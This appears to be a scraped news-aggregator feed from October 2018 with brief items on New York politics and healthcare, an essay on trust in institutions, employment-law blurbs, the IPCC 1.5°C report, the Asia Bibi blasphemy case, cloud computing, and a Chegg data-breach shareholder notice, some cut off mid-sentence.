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@Mike Yes, we know that progressives do not want to believe there is a God. After all, the government and all your progressive leaders provide everything you need. Mob rule rather than laws would be total dysfunction of the whole country. You mention the religious leaders covering up rape. Those people are humans and they have the same defects we all have, but maybe to a higher degree. (I would not even think of abusing a child). I am really sorry that you are stumbling through this life and do not believe there is a creator and a savior.
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Big Realty appears to be assuming New York will have another four years under Gov. Andrew Cuomo.

The Real Estate Board of New York gave the governor's re-election bid $15,000 from its political action committee in the most recent filing period, its first donation to the incumbent this year. The contribution made the industry group Cuomo's largest donor from the five boroughs in the period between Sept. 25 and Oct. 5, a span in which the Democrat amassed almost $296,000 and brought his war chest's balance to roughly $9.2 million. The GOP contender, Dutchess County Executive Marc Molinaro, had a mere $210,835 in cash on hand as of Friday.

REBNY is far from the only property interest that has invested in Cuomo's third term. Mark Beida, president of affordable-housing firm Marathon Development, donated $5,000 to the governor. Beida also serves as principal at the construction firm Touchstone Builders. His business partner, Sean Gann, matched the contribution. White Birch, another Beida-owned real estate firm, donated $2,500.

Bronx-based Simone Development gave two in-kind contributions of $4,832.81, described in the filing as "event costs."

Saber Real Estate Advisors, Prestige Properties and title-insurance giant Royal Abstract used limited liability companies to donate a collective $15,000 to Cuomo. The governor has often decried state campaign finance laws that enable LLCs to donate as individuals rather than as corporate entities, but he has made scarce efforts to close it.

Two commercial real estate investment giants, Mack-Cali and Jeffrey Dunne, vice chairman of CBRE Institutional Properties, kicked in $5,000 apiece. Stephen Green, founder of SL Green—which purports to be the city's biggest owner of office space—gave an identical amount.

Buffalo's Norstar Development, which received a


          CareMount moves into Manhattan, adding Murray Hill practice      Cache   Translate Page      

Murray Hill Medical Group, which has more than 40 physicians in Manhattan, has agreed to join CareMount Medical, giving the Chappaqua-based group practice its first locations in New York City.

Founded in 1992, Murray Hill's main office is at 317 East 34th St. and houses 14 specialties. It also has a gastroenterology and cardiology procedure site on East 37th Street.

"As we continue to grow, its important we have a connection to the city when our patients are down in the city working," said Dr. Scott Hayworth, CareMount's president and CEO. "Likewise, when Murray Hill residents move out of the city, we're here for them as well."

Manhattan marks the sixth county for CareMount, which has more than 40 locations and 550,000 patients in Columbia, Dutchess, Putnam, Ulster and Westchester counties.

As Manhattan's major medical centers open offices in the suburbs, Hudson Valley medical groups are laying claim to parts of Manhattan. Westmed Medical Group has offices on Park Avenue and on East 88th Street, and Crystal Run Healthcare has locations on East 71st and East 76th streets.

Murray Hill, which sees more than 140,000 patients annually, ultimately chose 560-provider CareMount over other bidders, including health systems.

"What we saw in them was basically a larger version of ourselves," Dr. Rajiv Kinkhabwala, president of Murray Hill, said. "We're both independent, physician-born-and-bred practices."

Hayworth said Murray Hill's physician-owners would become shareholders of CareMount Medical.

Crain's reported in July that CareMount would take on financial risk for Medicare Advantage patients covered by Aetna and Empire BlueCross BlueShield next year.

Preparing to enter value-based contracts was a major factor in Murray Hill's decision to join a larger medical group, which it considered for two to three years, Kinkhabwala said.

"Even as a 40-provider group in Manhattan, we found us to be on the small side to take the next step in terms of providing value-based care," he said. He cited the cost of IT systems and personnel needed to track and manage the cost of patient care.

The Murray Hill practices employ more than 100 people. Staff members will be asked to interview for open positions, according to CareMount. The deal will be effective Jan. 1. 

CareMount has affiliations with Mount Sinai Health System and Massachusetts General Hospital. Hayworth said Murray Hill will continue its long-term relationship with NYU Langone Medical Center and will admit its patients there. Many of Murray Hill's physicians were trained at NYU Langone, including some who served as chief residents at the hospital.

Hayworth said that CareMount would add doctors to fill additional specialties in Manhattan, such as general surgery, orthopedics and hematology/oncology.

"The long-term plan is to plug in the holes and make sure we have everything we need in Manhattan," Hayworth said. —Jonathan LaMantia

 

Affinity to shut down Medicare Advantage plans


Bronx-based nonprofit insurer Affinity Health Plan will get out of the Medicare Advantage business by the end of the year, the company confirmed Monday.

Its Medicare plans currently serve about 13,600 recipients, the company said.

The insurer first disclosed it was shutting down its Medicare product line in a filing with the state Department of Labor, noting that 28 employees of its 566 employees would be affected by the closure. Layoffs are scheduled to take place Dec. 31.

"We're entertaining what options we have," said Michael Murphy, president and CEO of Affinity, in an interview.

In any case, the company will not be in the Medicare business in 2019, he said. He said some parties have expressed interest in acquiring the business but declined to give more details.

A spokeswoman at Affinity Health Plan said in an email that that employees were notified on Oct. 1 of the shutdown. "The decision to exit Medicare occurred some time ago as part of Affinity's desire to focus on our core business—serving the most needy populations of New York through primary care," she wrote.

Affinity is currently working with the Centers for Medicare & Medicaid Services on the best way to transition members, possibly to other plans, Murphy said.

This is the second product to be discontinued by Affinity. About a year ago, the state Department of Health told Crain's the insurer would not sell qualified health plans on the New York State of Health marketplace in 2018. At the time, the Health Department said the state marketplace could not certify Affinity because the insurer's cash reserves had fallen below requirements.

Murphy said the cessation of Affinity's Medicare product line was not at the direction of CMS.

Affinity lost $73.6 million on $1.46 billion in revenue in 2016, the most recent year for which financial data are available online. The insurer's Medicaid business accounted for about 75% of its revenue.

"We're not planning any other exits at this point," Murphy said. —Jennifer Henderson

 

UHF report suggests options to stabilize state's indy market


New York largely has fended off the Trump administration's efforts to unwind the Affordable Care Act through existing laws and lawsuits against the federal government, according to a new United Hospital Fund analysis.

But the elimination of the financial penalty for going without insurance in 2019 will test the viability of the state's individual insurance market, according to the report.

It showed New York has the 38th-ranked medical risk profile in the country, indicating the group is sicker than most.

The average monthly premium price in New York's individual market increased 10.5% to $525 in 2017, compared with a U.S. average of $500.

Subsidies are available to people earning up to 400% of the federal poverty level, or $100,400 for a four-person household. A family earning above that would pay more than double for the lowest-cost, or bronze, plan in Manhattan.

UHF offered several options for New York to draw more people into the individual market by making coverage more affordable: The state could start its own reinsurance program to reimburse plans for high-cost members; it could implement a state individual mandate penalty; or it could expand premium subsidies to cover more residents.

"New York has a pretty good track record of defending ACA coverage gains either though regulation or litigation," said Peter Newell, director of UHF's Health Insurance Project and co-author of the report. "Seeing the same sense of urgency to keep the individual market on track would be very positive." —J.L.

 

Church-based programs help reduce blood pressure in black communities


Lifestyle interventions delivered in churches can aid in managing high blood pressure in black communities, according to a study led by NYU School of Medicine researchers and published online today in the journal Circulation: Cardiovascular Quality and Outcomes.

Churches are integral components of black communities nationwide. The study authors hope that faith-based intervention to manage high blood pressure and ward off heart disease will scale to other communities, NYU said.

From 2010 to 2014, the study's researchers collected data from 373 participants who identified as black and belonged to 32 New York City churches, according to NYU. They all reported a diagnosis of high, uncontrolled blood pressure. After six months, participants that received community health-worker intervention at churches saw a net reduction of 5.8 mm Hg in systolic blood pressure—the pressure in blood vessels when the heart beats —compared to the control group that received health education alone. After nine months, the treatment effect persisted, but with reduced significance of 5.2 mm Hg, researchers wrote.

"We think this is very important and should be scaled up," said Dr. Gbenga Ogedegbe, professor of population health and medicine at NYU School of Medicine and the study's lead author. To expand the program it will be important to demonstrate the cost-effectiveness of this type of disease management to insurers, he said.

The study's co-authors were Antoinette Schoenthaler, Mark Butler, and Jessica Forsyth at the Center for Healthful Behavior Change at NYU School of Medicine, Kristie Lancaster at New York University, and William Chaplin at St. John's University.

The National Heart, Lung, and Blood Institute, part of the National Institutes of Health, supported the research. —J.H.

 

AT A GLANCE

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Hank’s painting was a adventurous aesthetic statement, Sean thought. It illustrated his artistic side.

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5. Andy Warhol’s “Dog (Dachshund)”

6. Franz Marc’s “Dog Lying in the Snow”

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Over time, groups of experts become embedded within our societies. They become our trusted institutions.

Hurricanes, tornadoes and wildfires have tested our resolve as individuals, communities and societies. Along with social crises such as political- and war-induced migration, these events provide stark illustrations of our ability to adapt, help and trust one another through informal social networks and formal social institutions.

Trust in our institutions is declining. While some of this distrust might result from direct experience of failing or faltering social systems, cynics and pundits can promote mistrust for financial and social capital through votes and public opinion.

Trust is often woven into our society like an invisible thread, stitching together disparate individuals and distant communities. Effective societies are grounded in a reliance and dependency on others to provide everything from mobile networks, water and sewer services, electricity, education and justice.

In order to mend it where it is broken and reinforce it where it is fraying, we must examine our social tapestry and ask how we can promote trust.

Trustingneighbours, leaders institutions

Trust isn’t an all-or-nothing phenomenon. It can develop between peers and leaders as well as towards institutions and their symbols.

We share a common fate with our peers. Their actions matter to us. When we can, we monitor and regulate their behaviour through direct observation and action. When we can’t, we rely on gossip and other indirect means to learn about others and their values. If we think we have fallen short of their standards, we might increase our efforts. If we think we have exceeded their expectations, we might reduce our efforts.

Not all members of a group have equal status. Experts and leaders occupy central, elevated positions in their social networks — even if only on a temporary basis. Ideally, they have knowledge, competencies and social capital at their disposal that can help the group.

Legitimate expertise is hard won; it takes years to develop. Even if we have competency in one area, expertise is inelastic. It can narrow our focus, leading us to fail to see atypical patterns. That means leaders and experts need to be modest in their claims of expertise.

While credit might be claimed by one leader or the next for the functioning of economic and social systems, ultimately our societies are the end product of generations of cultural evolution supported by co-operation and collaboration.

Over time, groups of experts become embedded within our societies. They become our trusted institutions. Symbols like police badges, military insignia, judges’ robes, stethoscopes and lab coats take on a new significance, conveying and conferring this status.

Symbols become important

Even complex scientific instruments and technology can take on a symbolic meaning beyond their practical utility. These symbols can be used to persuade those inside and outside our group. They can also be used to manipulate our trust.

Like everyone, experts rely on their peers to keep them in check through formal standards and professional organizations. Professions like science, the law and medicine are self-reflective. The debunking of many of Dr. Mehmet Oz’s claims, for example, provides a crucial illustration of this internal regulation.

At their best, these mechanisms ensure that a profession retains its credibility and its access to financial and social resources.

The dangers of failures of trust

The recent hurricane in the United States speaks to concerns about the credibility of professions. Distrust in science played an important role in how people responded to the approach of hurricane Florence. Some residents stayed for practical reasons, including the protection of family, pets and property. Others simply discounted the information or placed their faith in a higher power to protect them.

While this could be seen as an unwavering individualism, it also likely represents a lack of trust in their community and in scientific institutions.

This refusal to defer to the authority of experts and institutions reflects the real cost that breakdowns in social cohesion can have on our lives and our communities. It represents a shift from facts to opinion and rumour.

This isn’t to say institutional flaws should be discounted. While there have been scientific hoaxes, fields like climate science are based on consensus. When choosing to trust others, we must weigh the good and bad. While we cannot ignore misconduct, we must not mistake the actions of a minority for the majority.

Discounting information for temporary reassurance or social gains and supplanting it with bravado and confidence will not make us better decision-makers. We live in the age of data. Only accurate information and successful application will improve our lives and protect us in the future. We need experts and institutions to help us put it to use.

Restructuring our institutions

The vain efforts of China and Rome show us that, despite their symbolism, walls will not keep us safe. They are antiquated solutions to contemporary problems. If we want to avoid a Hobbesian nightmare of all against all, we must regain trust in each other and reverence for our institutions.

We need transparency. Legitimate impediments to rebuilding trust must be identified and acknowledged. Structural inequalities still exist that are associated with race and gender. Although these persistent concerns might be the result of explicit biases, they might also reflect institutional inertia. Rather than attempting to justify them, we must understand these dynamics in order to effectively redress these differences.

Our actions and those of our institutions must be open to question. Questions are a healthy and necessary response to a world filled with uncertainty.

The best decisions are not made by conforming to what we believe are the opinions of our group. We must learn the delicate art of civil discourse and practise authentic dissent.

If we do not question ourselves first, others gladly will.

From the inside, this might appear wasteful and inefficient. From the outside, it might have the appearance of widespread dissent and indecision. That’s democracy.

But when viewed in terms of historical time lines, questioning our own beliefs and those of our group can help us make better decisions. Forecasting the future must be done in terms of decades and centuries, not just election cycles. Whenever possible, we must reason by analogy from the past, compare across cultures and buffer ourselves against the inevitability of unknowns.

Casting a vote for a leader is insufficient. We must hold our leaders to account, regardless of whether we voted for them or against them. We must get involved in our communities, because we are inseparable from them.The Conversation

Jordan Richard Schoenherr, Adjunct Research Professor, Department of Psychology, Carleton University

 

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Every year, most U.S. citizens must file income tax returns. Federal and state authorities set forth specific laws and regulations pertaining to income tax reporting. The Internal Revenue Service (IRS) is known for being particularly strict when it comes to enforcing tax laws, such as the requirement to file a timely return. Failing to comply […] The post What to Do If You Missed the April 17, 2018 Tax Deadline in California appeared first on NewPoint Law Group.
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Columbus, Ohio, is open for business on Columbus Day, as the city is not observing the day that honors its controversial namesake. The move will let it do more to observe Veterans Day, the city says. Ohio's capital city announced the move late last week, issuing a short news release to note that its offices are open on Monday, and that trash collection and parking laws will be handled as usual. The release concluded, "In honor of those who have served in the military, the City of Columbus will be closed on Veteran's Day on Monday, Nov. 12, 2018." Columbus had not previously observed Veterans Day as a city holiday, says Robin Davis, the director of media relations for Mayor Andrew Ginther. "Columbus is home to 110,000 veterans," Davis said in an email to NPR. "We are excited to be able to honor those who have served our country by observing Veterans Day this year." When asked how the city made the change, and whether it had done so through a process that was open to public debate, Davis
          Do Illegal Immigrants have Employment Rights      Cache   Translate Page      
Generally speaking, illegal immigrants have the same protections under labor laws as American citizens, with some minor exceptions. Minimum Wage Laws:  addition to federal laws, each state has its own minimum wage requirements; where federal and state laws differ, the higher wage applies.  Minimum wage laws apply to all workers the same, regardless of immigration status. Minimum wages in the U.S. are primarily set forth by the federal government, under the Fair Labor Standards Act (“FLSA”).  But virtually every state has its own minimum wage law as well.  Though the federal law trumps the state law, if state law mandates greater benefits, the employer must pay the higher rate. Importantly, the FLSA makes no exception for illegal immigrants.  They’re therefore entitled the same benefits as American citizens.   Currently, the FLSA minimum wage is $7.25 per hour for non-exempt employees, and the New York minimum is the…
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Dear Rich: Does an NDA (nondisclosure agreement) prevent me from reporting illegal activity at work?A whistleblower -- an employee who has a reasonable belief that an employer is violating the law and who reports the violation -- is often protected from retaliation by a patchwork of whistleblower laws. In some cases, these laws are aimed at specific employees -- for example, federal employees, military personnel, and employees of companies regulated by federal agencies. In other cases, when whistleblowing involves disclosure of trade secrets, and the employee has signed an NDA (nondisclosure agreement), federal and most state laws grant immunity to the whistleblower for violation of the NDA. In one case, a court ordered a company to revise its NDA to include a clause recognizing whistleblower rights. In addition, some companies have internal whistleblower reporting procedures that may have to be followed. For all these reasons, and because of the risks…
          Morning Docket: 10.09.18      Cache   Translate Page      
* China's got some new cybersecurity rules, and that's probably bad news for American trade secrets. [Corporate Counsel] * Laws haven't kept up with criminal ingenuity. That isn't surprising when sitting legislators are committing some of these crimes. [New York Times] * An overlooked side effect of Keggy McGropenstein joining the Supreme Court is the creation of a new DC Circuit opening. Here's a look at who might be filling it. [National Law Journal] * Internal investigations can get a little close to covert government operations. And that's the problem Paul Weiss faces right now. [Law360] * American Lawyer examines the problems with origination credit. [American Lawyer] * Lawyers want Bill Cosby's conviction voided because... well they have a lot of wacky ideas. [NBCNews] * Bad place for confidential client papers? Your front yard. [LegalCheek]
          Sexual Harassment Prevention Policy and Training Now Required in New York State and New York City      Cache   Translate Page      
Sexual harassment prevention is now a topic that employers in the construction industry must face head on. New York State and City recently enacted legislation to address sexual harassment in the workplace. Most importantly, the laws require employers to have a sex harassment prevention policy and training in place by set dates. Contractors experienced in complying with governmental regulations and in working with the State and City will recognize the need to adhere to the deadlines and requirements in the new laws and to document their efforts to do so. Below is a summary of the new laws and corresponding effective dates that New York State and City employers should be aware of: All New York State Employers (1) Mandatory Anti-Harassment Policies: New York State employers must promulgate anti-harassment policies by October 9, 2018. According to the guidance released by the NYSDOL and the NYSDHR, employers must implement a policy that: (1) prohibits sexual harassment; (2)…
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A shipping company asked a Massachusetts federal judge Tuesday for a win in a class action brought by a group of delivery drivers seeking to be treated as employees, saying state wage laws do not provide a basis for overriding an agreement between the ...read more
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          IPCC for rapid changes to fight against global warming      Cache   Translate Page      

IPCC for rapid changes to fight against global warming

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The Intergovernmental Panel on Climate Change (IPCC), an international body assessing the science related to climate change, on Monday urged "rapid and far-reaching" changes in all aspects of the entire world to fight against global warming after adopting a special report on global warming.

   The 48th IPCC session lasted for five days to Friday in South Korea's western port city of Incheon, bringing together about 570 representatives from over 130 countries and international organizations.

   It approved the Special Report on Global Warming of 1.5 degrees Celsius, which IPCC Chair Lee Hoesung described as one of the most important reports to curb the global warming during a press conference at Songdo Convensia in Incheon.

   The special report will become a key scientific input into the 24th Conference of the Parties (COP24) to the United Nations Framework Convention on Climate Change (UNFCCC) in Poland in December.

   The report highlighted a number of climate change impacts that could be avoided by limiting global warming to 1.5 degrees Celsius above pre-industrial levels in comparison to 2 degrees Celsius or higher.

   According to the report, global sea level rise would be 10 cm lower with the global warming of 1.5 degrees Celsius than the one with 2 degrees Celsius. The likelihood of an Arctic Ocean free of sea ice in summer would be once a century with the global warming 1.5 degrees Celsius, compared with at least once a decade with 2 degrees Celsius.

   "One of the key messages that comes out very strongly from this report is that we are already seeing the consequences of 1 degree Celsius of global warming through more extreme weather, rising sea levels and diminishing Arctic sea ice, among other changes," said Zhai Panmao, co-chair of IPCC Working Group .

   The special report examined pathways available to limit global warming to 1.5 degrees Celsius above pre-industrial levels, what it would take to achieve them and what the consequences could be.

   "This report gives policymakers and practitioners the information they need to make decisions that tackle climate change while considering local context and people's needs. The next few years are probably the most important in our history," said Debra Roberts, co-chair of IPCC Working Group .

   The report found that limiting the warming to 1.5 degrees Celsius would require "rapid and far-reaching" transitions in land, energy, industry, buildings, transport and cities. The global net human-caused emissions of carbon dioxide would need to fall by about 45 percent from 2010 levels by 2030, reaching "net zero" around 2050.

   "Limiting warming to 1.5 degrees Celsius is possible within the laws of chemistry and physics, but doing so would require unprecedented changes," said Jim Skea, co-chair of IPCC Working Group .

   The special report was requested by 195 nations when they adopted the Paris Agreement in December 2015 at the 21st Conference of the Parties (COP21) to the UNFCCC.

   The Paris Agreement aimed to strengthen the global response to the threat of climate change by "holding the increase in the global average temperature to well below 2 degrees Celsius above pre-industrial levels and pursuing efforts to limit the temperature increase to 1.5 degrees Celsius above pre-industrial levels."

   The special report would become a key scientific basis for the COP24 to the UNFCCC, scheduled for December in Poland, according to the IPCC.

   The IPCC was established by the United Nations Environment Program and the World Meteorological Organization (WMO) in 1988 to provide policymakers with regular scientific assessments about climate change, its implications and potential future risks, as well as to put forward adaptation and mitigation strategies.

   It assesses thousands of scientific papers published each year, not conducting its own research. This year's special report was prepared by 91 authors and review editors.   

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          Finnish prime minister calls all-party summit on climate policy      Cache   Translate Page      

Prime Minister Juha Sipilä says that in light of the landmark UN climate report issued on Monday, it is clear that Finland must do more – and faster – to help limit climate change.

In a blog post on Monday afternoon, the Centre Party premier says that the measures needed to lower emissions will not all be easy for Finland.

For that reason, Sipilä says he will invite representatives of all the parties in Parliament to a roundtable discussion in November. It is to be led by the Finnish Climate Panel, an independent, interdisciplinary think tank of top-level Finnish scholars. The aim, he says, is to reach the broadest possible parliamentarian consensus on Finland’s climate policy.

“In order for the decision-making to be sufficiently long-term, it is essential to carry on a dialogue over government and opposition [party] lines,” Sipilä wrote.

Sipilä’s three-party centre-right government’s legislative term ends next spring.

Sipilä praised the climate decisions made by his government, but added that “these measures will not however suffice”. He pointed out that the need to lower emissions is creating a vast market for new technological solutions. This, he said, could offer an opportunity for Finland to emerge as a “superpower” in the fight against climate change.

IPCC: Time is running out

According to the report by the Intergovernmental Panel for Climate Change (or IPCC), avoiding global climate chaos will require an unprecedented transformation of society and the world economy. It warns that time is running out to avert disaster. Earth's surface has already warmed by one degree Celsius – and is on track toward an unliveable rise of 3 or 4 degrees unless urgent action is taken, warns the IPCC.

At current emissions levels, we could pass the one and a half degree marker as early as 2030, it predicts. The massive report calls for radical cuts in energy consumption and a rapid shift away from fossil fuels.

Environment minister: “No possibility” of stricter target

Earlier in the day, another Centre Party cabinet member, Minister of the Environment, Energy and Housing Kimmo Tiilikainen, appeared to downplay the report’s findings. Speaking at a climate seminar in Helsinki, Tiilikainen said that Finland would not be able to step up emissions reductions in the near future.

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Climate panel chair Prof. Markku Ollikainen (left) and minister Kimmo Tiilikainen at a seminar in Helsinki on Monday morning.Antti Aimo-Koivisto / Lehtikuva

He said that Finland’s emissions cuts would still be aimed at the old target of limiting warming to two degrees Celsius rather than 1.5 degrees as strongly urged by the IPCC report. It says this could only succeed if worldwide net emissions can be brought to zero by 2050.

Asked whether Finland will adjust its target for reductions by 2030, Tiilikainen replied: “There is no possibility of that in the coming months. It’s a longer-term goal. There must be solutions. It doesn’t help to just throw a target out there,” he said.

Tiilikainen – whose Centre Party traditionally draws much of its support from farmers and forest-owners – also brushed off any suggestion that logging should be curtailed due to forests’ crucial role in absorbing carbon, as suggested by Finnish Climate Panel chair Markku Ollikainen, who also spoke at the seminar.


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Gold Coast MP pushes for local LNP stance on abortion reforms

A Gold Coast Labor MP is urging Liberal and National Party Minister to vote to de-criminalise abortion in the upcoming vote in parliament.

After a two-hour long party room meeting on Tuesday, LNP Leader Deb Frecklington issued a statement saying the party had voted in favour of a free vote on the issue.

Member for Gaven Meaghan Scanlon has been a staunch supporter of the proposed laws and says the Gold Coast LNP MPs should listen to the views in their electorate.

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People with disabilities have to deal with overlooked flaws that are frankly insulting.
          Icelandic Prisoners Paid Below Minimum Wage For Contracted Work      Cache   Translate Page      

The Icelandic Confederation of Labour (ASÍ) believes the Icelandic Prison Service (FMS) is breaking labour laws by contracting out prisoners...

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          FMI requests prayer as world awaits Asia Bibi verdict      Cache   Translate Page      
Pakistan (MNN) -- Three Pakistani Supreme Court judges decided the fate of Asia Bibi yesterday, but they’re keeping that verdict under lock and key for now. More details here. Nehemiah* is a Pakistani pastor helped by FMI. He says the judges might be waiting for a more opportune moment to release their decision. “Maybe…they don’t want to give a special verdict at this time because of the situation in Pakistan,” he says, describing the pressure and tension surrounding this high-profile case.

Who’s Asia Bibi?

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Asia Bibi is still imprisoned in Pakistan on blasphemy charges. (Photo courtesy of Voice of the Martyrs, Canada)

Asia Bibi, a Christian mother of five, has spent the last nine years in prison for a crime she didn’t commit. Her case made her the “poster child” of Christian persecution as a result of Pakistan’s blasphemy laws. As such, the judges’ verdict in this case carries serious repercussions. In 2009, Bibi’s Muslim co-workers accused her of blasphemy. She was convicted and sentenced to death the following year. As described here, Pakistan’s infamous blasphemy laws are often used explicitly to persecute Christians. “The people who falsely charged her, there is no evidence, no evidence at all,” notes Nehemiah. Salman Taseer, a former governor of the central Punjab province, spoke out on behalf of Asia Bibi and wanted to repeal Pakistan's blasphemy laws. However, in 2011, the politician’s bodyguard Mumtaz Qadri shot Taseer 28 times in Islamabad’s Kohsar Market. Qadri was hailed as a hero, according to DW, but eventually met his demise:

"Qadri was sent to the gallows in 2016, and his supporters believe that Former Prime Minister Nawaz Sharif's government executed him under international pressure. So if the Supreme Court reverses the death sentence now, the right-wing parties and groups are likely to take to the streets. They fear that any concession to Bibi, or any other blasphemy victim, might lead to amendments in the Islamic laws and open a door to the secularization of Pakistan."

Asia Bibi has ping-ponged between courtrooms and a prison cell for more than nine years. There’s mounting international pressure on Pakistan to free her. At the same time, militant Islamists are threatening violence if the judges don’t carry out her death sentence. "If there is any attempt to hand her [Bibi] over to a foreign country, there will be terrible consequences," one group said in a statement.

What will happen next?

The Supreme Court judges aren’t saying when they will release their verdict. While there is no clear “next step” for Bibi’s case, Nehemiah says there are a few directions the verdict could go. If the judges uphold Bibi’s conviction, her only option would be a direct appeal to Pakistan’s president for mercy. Asia Bibi would become the first person executed for blasphemy in Pakistan if the president rejects her cry for help. Or, the judges could overturn Bibi’s conviction and she would be released from prison – but she still wouldn’t be safe. Bibi and her family would become “high priority targets” for radical Islamic groups scattered throughout Pakistan, Nehemiah says. There’s also a third option on the table. The judges might suspend the death penalty, Nehemiah explains, and change it to life imprisonment. “In Pakistan, life imprisonment is 14 years total,” he says. The start date would be the only thing in question. “They will either start the 14 years from scratch, or they will subtract what she’s already served from the total sentence,” says Nehemiah.

“The most probable thing is they will execute her, so please pray [about] this.”

Please ask the Lord to embolden the Supreme Court judges and remove their fear. Pray they will not succumb to the threats of radicals, but that instead their verdict will be rooted in justice. Pray for God’s supernatural comfort and peace to surround Asia Bibi and her family. We’ll be watching this case closely. Sign up for our email updates to watch the headlines with us.       *Name changed for security purposes.
          Serverless cloud computing: Don’t go overboard      Cache   Translate Page      

There are lots of big cloud shows coming up, and the core themes will be containers, devops integration, and more serverless computing services, such as databases, middleware, and dev tools.

Why the focus on serverless computing? It’s a helpful concept, where you don’t have to think about the number of resources you need to attach to a public cloud service, such as storage and compute. You just use the service, and the back-end server instances are managed for you: “magically” provisioned, used, and deprovisioned.

The serverless cloud computing concept is now white-hot in the cloud computing world, and the cloud providers are looking to cash in. Who can blame them? At the same time, you can take things to a silly level. I suspect there’ll be a few serverless concepts that jump the shark the day they are announced.

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          Princess Crown Nursery Mobile in Pink, Gray & White- Tiara Crown Mobile by MatthewAndMae      Cache   Translate Page      

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Princess Crown Nursery Mobile in Pink, Gray & White


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          SALE Deer Arrow Feather Nursery Mobile in Gray & White by MatthewAndMae      Cache   Translate Page      

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Deer Arrow Feather Nursery Mobile in Gray & White


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          Arrow Nursery Mobile in Coral Aqua White & Gold by MatthewAndMae      Cache   Translate Page      

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          DoD Weapon Systems Contain Security Vulnerabilities      Cache   Translate Page      
GAO report outlines challenges for the US Department of Defense to handle security flaws in weapon systems.
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          Lake suicide bid: lake police rescues four persons in city      Cache   Translate Page      
The timely intervention by the lake police have saved the life of four persons including three woman, one girl and a baby in separate incidents while they were about to commit suicide by jumping into the Hussain Sagar lake here.In the first incident at around 2330 hours on Monday, a 14-year-old girl while trying to jump into water near Ambedkar T junction, the patrolling Lake Police immediately noticed her and saved her life. On enquiry, it came to know that since few years both her father and mother quarrel with each other on every petty issue, she asked them many times to not to quarrel every time.But they never heed to her works, few months back they had applied for divorce and to due to all the reasons, the victim fed up on her life and went into depression and decided to end her life, lake police said in release here on Tuesday.The girl and her father were sent to Barosa centre for counselling.However in the second incident occurred at Tankbund near Ambedkar TJunction in wee hours on Tuesday, a 25-year-old housewife rescued while she was trying to jump into Hussainsgar.On enquiry, victim revealed that she is a married person and leading conjugal life happily. Since few days she is facing with some family problems.Due to which she went into depression and decided to end her life and came.She and her husband were send to Bharosa centre for further action.In third incident occurred at around 1210 hours on Tuesday, another 23-year-old woman, a watchman was saved while she was trying to jump the same lake near Pooja sthal, Tankbund. During the enquiry, the victim revealed that on Tuesday morning hours victim and her husband quarrelled with each other in a petty issue.Due to which she went into depression and decided to end her life.The woman and her husband were also sent to Barosa centre for counseling.In the fourth incident occurred today at around 1500 hours at tankbund near Lepakshi, a 25-year-old housewife also rescued.On enquiry, victim revealed that she performed love marriage in the year 2017 and leading life happily. Since their marriage, her in-laws started harassing victim daily, due to which, she went into depression and decided to end life.She and her husband were sent to Barosa centre for counseling.As such Lake Police played a vital role in saving them spontaneously without giving any scope for untoward incidents for which they could save the lives of people.After counseling at Bharosa centre, all the victims were handed over to their relatives concerned by taking their assurances that they will not repeat such things in near and future.UNI KNR RHK 2323
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          Red Hood and the Outlaws Vol. 7 (The New 52)      Cache   Translate Page      
The concluding volume to New York Times best-selling author Scott Lobdell’s run is here in RED HOOD AND THE OUTLAWS VOL. 7.  Batman’s former sidekick Jason Todd, now known as the Red Hood, and his running mate Arsenal find their fellow Outlaw, Starfire, missing in action. After discovering who the villainous forces are behind her […]
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Flu season is coming, and some parents are taking extreme measures to protect their kids, including attaching signs to their car seats telling others to keep their grubby paws to themselves. The latest parenting trend is making a spark on websites such as Etsy, BuzzFeed News reported. Some signs say: “Please don’t touch” and “Please look,...
          Google's Reaction To Hack Draws Criticism      Cache   Translate Page      
A security breach at Google is drawing criticism after the company detailed in reporting it.
          Homeland Security to waive laws for South Texas border gates      Cache   Translate Page      
Oct. 9, 2018 6:09 PM EDT Homeland Security to waive laws for South Texas border gates By NOMAAN MERCHANT Associated Press AP-US–Border Wall-Texas,7th Ld-Writethru Eric Gay, ASSOCIATED PRESS HOUSTON (AP) — The U.S. Department of Homeland Security said Tuesday that it will waive environmental laws so it can build gates between sections of border barriers […]
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Oct. 9, 2018 6:09 PM EDT Homeland Security to waive laws for South Texas border gates By NOMAAN MERCHANT Associated Press AP-US–Border Wall-Texas,7th Ld-Writethru Eric Gay, ASSOCIATED PRESS HOUSTON (AP) — The U.S. Department of Homeland Security said Tuesday that it will waive environmental laws so it can build gates between sections of border barriers […]
          NYSE:CHGG Shareholder Notice: Lawsuit Alleges Securities Laws Violations by Chegg, Inc      Cache   Translate Page      

A lawsuit was filed on behalf of investors in Chegg, Inc. (NYSE: CHGG) shares over alleged securities laws violations.

San Diego, CA -- (SBWIRE) -- 10/09/2018 -- The Shareholders Foundation announces that an investor, who purchased shares of Chegg, Inc. (NYSE: CHGG), filed a lawsuit over alleged violations of Federal Securities Laws by Chegg, Inc..

Investors who purchased shares of Chegg, Inc. (NYSE: CHGG) have certain options and for certain investors are short and strict deadlines running. Deadline: November 26, 2017. NYSE: CHGG investors should contact the Shareholders Foundation at mail@shareholdersfoundation.com or call +1(858) 779 - 1554.

The plaintiff claims that between July 30, 2018 and September 25, 2018, the Defendants failed to disclose to investors that the Company lacked adequate security measures to protect users' data, that the Company lacked the internal controls and procedures to detect unauthorized access to its systems and to its data, that as a result, the Company would incur additional expenses and litigation risks, and that, as a result of the foregoing, Defendants' positive statements about the Company's business, operations, and prospects were materially false and/or misleading and/or lacked a reasonable basis.

On September 25, 2018, Chegg, Inc. reported that it had "learned that on or around April 29, 2018, an unauthorized party gained access to a Company database that hosts user data for chegg.com and certain of the Company's family of brands such as EasyBib." Chegg, Inc. reported that approximately 40 million users' data, including username, email address, shipping address, and hashed password, could have been obtained and that an investigation into the incident was ongoing.

Those who purchased shares of Chegg, Inc. (NYSE: CHGG) have certain options and should contact the Shareholders Foundation.

Contact:
Shareholders Foundation, Inc.
Michael Daniels
3111 Camino Del Rio North - Suite 423
92108 San Diego
Phone: +1-(858)-779-1554
Fax: +1-(858)-605-5739
mail@shareholdersfoundation.com

The Shareholders Foundation, Inc. is a professional portfolio monitoring and settlement claim filing service, , which does research related to shareholder issues and informs investors of securities class actions, settlements, judgments, and other legal related news to the stock/financial market. Shareholders Foundation, Inc. is in contact with a large number of shareholders and offers help, support, and assistance for every shareholder. The Shareholders Foundation, Inc. is not a law firm. Referenced cases, investigation, and/or settlements are not filed/reached and/or related to Shareholders Foundation. The information is provided as a public service. It is not intended as legal advice and should not be relied upon.

